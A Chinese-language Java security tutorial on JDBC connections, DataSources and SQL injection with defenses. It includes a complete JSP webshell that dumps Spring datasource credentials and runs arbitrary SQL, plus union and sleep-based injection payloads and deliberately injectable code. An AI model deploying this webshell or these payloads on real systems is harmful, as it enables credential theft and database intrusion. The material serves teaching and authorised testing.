# JDBC 基础
JDBC(Java Database Connectivity)
是 Java 提供对数据库进行连接、操作的标准 API。Java 自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的 API 接口 ( JDBC
),不同的数据库提供商必须实现 JDBC 定义的接口从而也就实现了对数据库的一系列操作。
# JDBC Connection
Java 通过 java.sql.DriverManager
来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在 java.sql.DriverManager
中注册对应的驱动类,然后调用 getConnection
方法才能连接上数据库。
JDBC 定义了一个叫 java.sql.Driver
的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。 java.sql.DriverManager.getConnection(xx)
其实就是间接的调用了 java.sql.Driver
类的 connect
方法实现数据库连接的。数据库连接成功后会返回一个叫做 java.sql.Connection
的数据库连接对象,一切对数据库的查询操作都将依赖于这个 Connection
对象。
JDBC 连接数据库的一般步骤:
- 注册驱动,
Class.forName("数据库驱动的类名")
。 - 获取连接,
DriverManager.getConnection(xxx)
。
JDBC 连接数据库示例代码如下:
String CLASS_NAME = "com.mysql.jdbc.Driver"; | |
String URL = "jdbc:mysql://localhost:3306/mysql" | |
String USERNAME = "root"; | |
String PASSWORD = "root"; | |
Class.forName(CLASS_NAME);// 注册 JDBC 驱动类 | |
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); |
# 数据库配置信息
传统的 Web 应用的数据库配置信息一般都是存放在 WEB-INF
目录下的 *.properties
、 *.yml
、 *.xml
中的,如果是 Spring Boot
项目的话一般都会存储在 jar 包中的 src/main/resources/
目录下。常见的存储数据库配置信息的文件路径如: WEB-INF/applicationContext.xml
、 WEB-INF/hibernate.cfg.xml
、 WEB-INF/jdbc/jdbc.properties
,一般情况下使用 find 命令加关键字可以轻松的找出来,如查找 Mysql 配置信息: find 路径 -type f |xargs grep "com.mysql.jdbc.Driver"
。
# 为什么需要 Class.forName?
很多人不理解为什么第一步必须是 Class.forName(CLASS_NAME);// 注册JDBC驱动类
,因为他们永远不会跟进驱动包去一探究竟。
实际上这一步是利用了 Java 反射 + 类加载机制往 DriverManager
中注册了驱动包!
Class.forName("com.mysql.jdbc.Driver")
实际上会触发类加载, com.mysql.jdbc.Driver
类将会被初始化,所以 static静态语句块
中的代码也将会被执行,所以看似毫无必要的 Class.forName
其实也是暗藏玄机的。如果反射某个类又不想初始化类方法有两种途径:
- 使用
Class.forName("xxxx", false, loader)
方法,将第二个参数传入 false。 - ClassLoader.load(“xxxx”);
# Class.forName 可以省去吗?
连接数据库就必须 Class.forName(xxx)
几乎已经成为了绝大部分人认为的既定事实而不可改变,但是某些人会发现删除 Class.forName
一样可以连接数据库这又作何解释?
实际上这里又利用了 Java 的一大特性: Java SPI(Service Provider Interface)
,因为 DriverManager
在初始化的时候会调用 java.util.ServiceLoader
类提供的 SPI 机制,Java 会自动扫描 jar 包中的 META-INF/services
目录下的文件,并且还会自动的 Class.forName(文件中定义的类)
,这也就解释了为什么不需要 Class.forName
也能够成功连接数据库的原因了。
Mysql 驱动包示例:
# DataSource
在真实的 Java 项目中通常不会使用原生的 JDBC
的 DriverManager
去连接数据库,而是使用数据源 ( javax.sql.DataSource
) 来代替 DriverManager
管理数据库的连接。一般情况下在 Web 服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用 DataSource
对象即可获取数据库连接了。
常见的数据源有: DBCP
、 C3P0
、 Druid
、 Mybatis DataSource
,他们都实现于 javax.sql.DataSource
接口。
SpringBoot 配置数据源:
在 SpringBoot 中只需要在 application.properties
或 application.yml
中定义 spring.datasource.xxx
即可完成 DataSource 配置。
spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false | |
spring.datasource.username=root | |
spring.datasource.password=root | |
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource | |
spring.datasource.driver-class-name=com.mysql.jdbc.Driver |
# Spring 数据源 Hack
我们通常可以通过查找 Spring 数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个 shell 尝试性的连接下数据库 ( 高危操作,请勿违法!
) 证明下危害,那么您可以在 webshell
中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码 (切记不要未经用户授权违规操作!)
spring-datasource.jsp
获取数据源 / 执行 SQL 语句示例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
th, td {
border: 1px solid #C1DAD7;
font-size: 12px;
padding: 6px;
color: #4f6b72;
}
</style>
<%!
// C3PO数据源类
private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
// DBCP数据源类
private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
//Druid数据源类
private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
/**
* 获取所有Spring管理的数据源
* @param ctx Spring上下文
* @return 数据源数组
*/
List<DataSource> getDataSources(ApplicationContext ctx) {
List<DataSource> dataSourceList = new ArrayList<DataSource>();
String[] beanNames = ctx.getBeanDefinitionNames();
for (String beanName : beanNames) {
Object object = ctx.getBean(beanName);
if (object instanceof DataSource) {
dataSourceList.add((DataSource) object);
}
}
return dataSourceList;
}
/**
* 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
* @param ctx Spring上下文对象
* @return 数据源配置字符串
* @throws ClassNotFoundException 数据源类未找到异常
* @throws NoSuchMethodException 反射调用时方法没找到异常
* @throws InvocationTargetException 反射调用异常
* @throws IllegalAccessException 反射调用时不正确的访问异常
*/
String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
NoSuchMethodException, InvocationTargetException, IllegalAccessException {
List<DataSource> dataSourceList = getDataSources(ctx);
for (DataSource dataSource : dataSourceList) {
String className = dataSource.getClass().getName();
String url = null;
String UserName = null;
String PassWord = null;
if (C3P0_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(C3P0_CLASS_NAME);
url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DBCP_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DBCP_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DRUID_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DRUID_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
}
return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
}
return null;
}
%>
<%
String sql = request.getParameter("sql");// 定义需要执行的SQL语句
// 获取Spring的ApplicationContext对象
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
// 获取Spring中所有的数据源对象
List<DataSource> dataSourceList = getDataSources(ctx);
// 检查是否获取到了数据源
if (dataSourceList == null) {
out.println("未找到任何数据源配置信息!");
return;
}
out.println("<hr/>");
out.println("Spring DataSource配置信息获取测试:");
out.println("<hr/>");
out.print(printDataSourceConfig(ctx));
out.println("<hr/>");
// 定义需要查询的SQL语句
sql = sql != null ? sql : "select version()";
for (DataSource dataSource : dataSourceList) {
out.println("<hr/>");
out.println("SQL语句:<font color='red'>" + sql + "</font>");
out.println("<hr/>");
//从数据源中获取数据库连接对象
Connection connection = dataSource.getConnection();
// 创建预编译查询对象
PreparedStatement pstt = connection.prepareStatement(sql);
// 执行查询并获取查询结果对象
ResultSet rs = pstt.executeQuery();
out.println("<table><tr>");
// 获取查询结果的元数据对象
ResultSetMetaData metaData = rs.getMetaData();
// 从元数据中获取字段信息
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
}
out.println("<tr/>");
// 获取JDBC查询结果
while (rs.next()) {
out.println("<tr>");
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
}
out.println("<tr/>");
}
rs.close();
pstt.close();
}
%>
读取数据源信息和执行 SQL 语句效果:
代码中各部分的详细解释:
# JSP 指令部分
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
page
指令设置了页面的内容类型和编码。import
指令导入了 Spring 框架、JDBC 和其他所需的 Java 类。
# Java 代码部分
# 数据源类名和辅助方法
<%!
private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
List<DataSource> getDataSources(ApplicationContext ctx) {
List<DataSource> dataSourceList = new ArrayList<DataSource>();
String[] beanNames = ctx.getBeanDefinitionNames();
for (String beanName : beanNames) {
Object object = ctx.getBean(beanName);
if (object instanceof DataSource) {
dataSourceList.add((DataSource) object);
}
}
return dataSourceList;
}
String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
NoSuchMethodException, InvocationTargetException, IllegalAccessException {
List<DataSource> dataSourceList = getDataSources(ctx);
for (DataSource dataSource : dataSourceList) {
String className = dataSource.getClass().getName();
String url = null;
String userName = null;
String password = null;
if (C3P0_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(C3P0_CLASS_NAME);
url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
userName = (String) clazz.getMethod("getUser").invoke(dataSource);
password = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DBCP_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DBCP_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
userName = (String) clazz.getMethod("getUsername").invoke(dataSource);
password = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DRUID_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DRUID_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
userName = (String) clazz.getMethod("getUsername").invoke(dataSource);
password = (String) clazz.getMethod("getPassword").invoke(dataSource);
}
return "URL:" + url + "<br/>UserName:" + userName + "<br/>PassWord:" + password + "<br/>";
}
return null;
}
%>
C3P0_CLASS_NAME
,DBCP_CLASS_NAME
,DRUID_CLASS_NAME
: 定义了常见的数据源类名。getDataSources(ApplicationContext ctx)
: 从 Spring 上下文中获取所有数据源。printDataSourceConfig(ApplicationContext ctx)
: 打印每个数据源的配置信息(URL、用户名、密码)。通过反射机制调用数据源的 getter 方法来获取配置信息。
# 主逻辑
<%
String sql = request.getParameter("sql");
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
List<DataSource> dataSourceList = getDataSources(ctx);
if (dataSourceList == null) {
out.println("未找到任何数据源配置信息!");
return;
}
out.println("<hr/>");
out.println("Spring DataSource配置信息获取测试:");
out.println("<hr/>");
out.print(printDataSourceConfig(ctx));
out.println("<hr/>");
sql = sql != null ? sql : "select version()";
for (DataSource dataSource : dataSourceList) {
out.println("<hr/>");
out.println("SQL语句:<font color='red'>" + sql + "</font>");
out.println("<hr/>");
Connection connection = dataSource.getConnection();
PreparedStatement pstt = connection.prepareStatement(sql);
ResultSet rs = pstt.executeQuery();
out.println("<table><tr>");
ResultSetMetaData metaData = rs.getMetaData();
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
}
out.println("<tr/>");
while (rs.next()) {
out.println("<tr>");
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
}
out.println("<tr/>");
}
rs.close();
pstt.close();
}
%>
- 从请求参数中获取 SQL 语句,如果没有提供则使用默认的
select version()
。 - 获取 Spring 的
ApplicationContext
对象。 - 获取所有数据源对象,并检查是否为空。
- 打印每个数据源的配置信息。
- 对每个数据源执行 SQL 查询,并将结果以表格形式显示。
- 使用 JDBC API 进行数据库操作(获取连接、创建预编译语句、执行查询、处理结果集)。
# Java Web Server 数据源
除了第三方数据源库实现,标准的 Web 容器自身也提供了数据源服务,通常会在容器中配置 DataSource
信息并注册到 JNDI(Java Naming and Directory Interface)
中,在 Web 应用中我们可以通过 JNDI
的接口 lookup(定义的JNDI路径)
来获取到 DataSource
对象。
# Tomcat JNDI DataSource
Tomcat 配置 JNDI 数据源需要手动修改 Tomcat目录/conf/context.xml
文件,参考:Tomcat JNDI Datasource
# Resin JNDI DataSource
Resin 需要修改 resin.xml
, 添加 database
配置,参考:Resin Database configuration
# JDBC SQL 注入
SQL 注入 ( SQL injection
) 是因为 应用程序
在执行 SQL 语句的时候没有正确的处理用户输入字符串,将用户输入的恶意字符串拼接到了 SQL 语句中执行,从而导致了 SQL 注入。
SQL 注入是一种原理非常简单且危害程度极高的恶意攻击,我们可以理解为不同程序语言的注入方式是一样的。
本章节只讨论基于 JDBC
查询的 SQL 注入,暂不讨论基于 ORM
实现的框架注入,也不会过多的讨论注入的深入用法、函数等。
# SQL 注入示例
在 SQL 注入中如果需要我们手动闭合 SQL 语句的 '
的注入类型称为 字符型注入
、反之成为 整型注入
。
# 字符型注入
假设程序想通过用户名查询用户个人信息,那么它最终执行的 SQL 语句可能是这样:
select host,user from mysql.user where user = '用户输入的用户名' |
正常情况下用户只需传入自己的用户名,如: root
,程序会自动拼成一条完整的 SQL 语句:
select host,user from mysql.user where user = 'root' |
查询结果如下:
mysql> select host,user from mysql.user where user = 'root'; | |
+-----------+------+ | |
| host | user | | |
+-----------+------+ | |
| localhost | root | | |
+-----------+------+ | |
1 row in set (0.00 sec) |
但假设黑客传入了恶意的字符串:** root' and 1=2 union select 1,'2
** 去闭合 SQL 语句,那么 SQL 语句的含义将会被改变:
select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2' |
查询结果如下:
mysql> select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2'; | |
+------+------+ | |
| host | user | | |
+------+------+ | |
| 1 | 2 | | |
+------+------+ | |
1 row in set (0.00 sec) |
Java 代码片段如下:
// 获取用户传入的用户名 | |
String user = request.getParameter("user"); | |
// 定义最终执行的 SQL 语句,这里会将用户从请求中传入的 host 字符串拼接到最终的 SQL | |
// 语句当中,从而导致了 SQL 注入漏洞。 | |
String sql = "select host,user from mysql.user where user = '" + user + "'"; | |
// 创建预编译对象 | |
PreparedStatement pstt = connection.prepareStatement(sql); | |
// 执行 SQL 语句并获取返回结果对象 | |
ResultSet rs = pstt.executeQuery(); |
如上示例程序,sql 变量拼接了我们传入的用户名字符串并调用 executeQuery
方法执行了含有恶意攻击的 SQL 语句。我们只需要在用户传入的 user
参数中拼凑一个能够闭合 SQL 语句又不影响 SQL 语法的恶意字符串即可实现 SQL 注入攻击!需要我们使用 '(单引号)
闭合的 SQL 注入漏洞我们通常叫做 字符型SQL注入
。
# 快速检测字符串类型注入方式
在渗透测试中我们判断字符型注入点最快速的方式就是在参数值中加 '(单引号)
, 如: http://localhost/1.jsp?id=1'
,如果页面返回 500 错误或者出现异常的情况下我们通常可以初步判定该参数可能存在注入。
# 整型注入
假设我们执行的 SQL 语句是:
select id, username, email from sys_user where id = 用户ID |
查询结果如下:
mysql> select id, username, email from sys_user where id = 1; | |
+----+----------+-------------------+ | |
| id | username | email | | |
+----+----------+-------------------+ | |
| 1 | yzmm | admin@javaweb.org | | |
+----+----------+-------------------+ | |
1 row in set (0.01 sec) |
假设程序预期用户输入一个数字类型的参数作为查询条件,且输入内容未经任何过滤直接就拼到了 SQL 语句当中,那么也就产生了一种名为 整型SQL注入
的漏洞。
对应的程序代码片段:
// 获取用户传入的用户 ID | |
String id = request.getParameter("id"); | |
// 定义最终执行的 SQL 语句,这里会将用户从请求中传入的 host 字符串拼接到最终的 SQL | |
// 语句当中,从而导致了 SQL 注入漏洞。 | |
String sql = "select id, username, email from sys_user where id =" + id; | |
// 创建预编译对象 | |
PreparedStatement pstt = connection.prepareStatement(sql); | |
// 执行 SQL 语句并获取返回结果对象 | |
ResultSet rs = pstt.executeQuery(); |
# 快速检测整型注入方式
整型注入相比字符型更容易检测,使用参数值添加 '(单引号)
的方式或者使用 运算符
、 数据库子查询
、 睡眠函数(一定慎用!如:sleep)
等。
检测方式示例:
id=2-1 | |
id=(2) | |
id=(select 2 from dual) | |
id=(select 2) |
盲注时不要直接使用 sleep(n)
!例如: id=sleep(3)
对应的 SQL 语句 select username from sys_user where id = sleep(3)
执行结果如下:
mysql> select username from sys_user where id= sleep(3); | |
Empty set (24.29 sec) |
为什么只是 sleep 了 3 秒钟最终变成了 24 秒?因为 sleep 语句执行了 select count(1) from sys_user
遍!当前 sys_user
表因为有 8 条数据所以执行了 8 次。
如果非要使用 sleep 的方式可以使用子查询的方式代替:
id=2 union select 1, sleep(3) |
查询结果如下:
mysql> select username,email from sys_user where id=1 union select 1, sleep(3); | |
+----------+-------------------+ | |
| username | email | | |
+----------+-------------------+ | |
| yzmm | admin@javaweb.org | | |
| 1 | 0 | | |
+----------+-------------------+ | |
2 rows in set (3.06 sec) |
# SQL 注入防御
既然我们学会了如何提交恶意的注入语句,那么我们到底应该如何去防御注入呢?通常情况下我们可以使用以下方式来防御 SQL 注入攻击:
- 转义用户请求的参数值中的
'(单引号)
、"(双引号)
。 - 限制用户传入的数据类型,如预期传入的是数字,那么使用:
Integer.parseInt()/Long.parseLong
等转换成整型。 - 使用
PreparedStatement
对象提供的 SQL 语句预编译。
切记只过滤 '(单引号)
或 "(双引号)
并不能有效的防止整型注入,但是可以有效的防御字符型注入。解决注入的根本手段应该使用参数预编译的方式。
# PreparedStatement SQL 预编译查询
将上面存在注入的 Java 代码改为 ?(问号)
占位的方式即可实现 SQL 预编译查询。
示例代码片段:
// 获取用户传入的用户 ID | |
String id = request.getParameter("id"); | |
// 定义最终执行的 SQL 语句,这里会将用户从请求中传入的 host 字符串拼接到最终的 SQL | |
// 语句当中,从而导致了 SQL 注入漏洞。 | |
String sql = "select id, username, email from sys_user where id =? "; | |
// 创建预编译对象 | |
PreparedStatement pstt = connection.prepareStatement(sql); | |
// 设置预编译查询的第一个参数值 | |
pstt.setObject(1, id); | |
// 执行 SQL 语句并获取返回结果对象 | |
ResultSet rs = pstt.executeQuery(); |
需要特别注意的是并不是使用 PreparedStatement
来执行 SQL 语句就没有注入漏洞,而是将用户传入部分使用 ?(问号)
占位符表示并使用 PreparedStatement
预编译 SQL 语句才能够防止注入!
# JDBC 预编译
可能很多人都会有一个疑问: JDBC
中使用 PreparedStatement
对象的 SQL语句
究竟是如何实现预编译的?接下来我们将会以 Mysql 驱动包为例,深入学习 JDBC
预编译实现。
JDBC
预编译查询分为客户端预编译和服务器端预编译,对应的 URL 配置项是: useServerPrepStmts
,当 useServerPrepStmts
为 false
时使用客户端 (驱动包内完成 SQL 转义) 预编译, useServerPrepStmts
为 true
时使用数据库服务器端预编译。
# 数据库服务器端预编译
JDBC URL 配置示例:
jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=true |
代码片段:
String sql = "select host,user from mysql.user where user = ? "; | |
PreparedStatement pstt = connection.prepareStatement(sql); | |
pstt.setObject(1, user); |
# 客户端预编译
JDBC URL 配置示例:
jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=false |
代码片段:
String sql = "select host,user from mysql.user where user = ? "; | |
PreparedStatement pstt = connection.prepareStatement(sql); | |
pstt.setObject(1, user); |
# Mysql 预编译
Mysql 默认提供了预编译命令: prepare
, 使用 prepare
命令可以在 Mysql 数据库服务端实现预编译查询。
prepare
查询示例:
prepare stmt from 'select host,user from mysql.user where user = ?'; | |
set @username='root'; | |
execute stmt using @username; |
查询结果如下:
mysql> prepare stmt from 'select host,user from mysql.user where user = ?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> set @username='root';
Query OK, 0 rows affected (0.00 sec)
mysql> execute stmt using @username;
+-----------+------+
| host | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)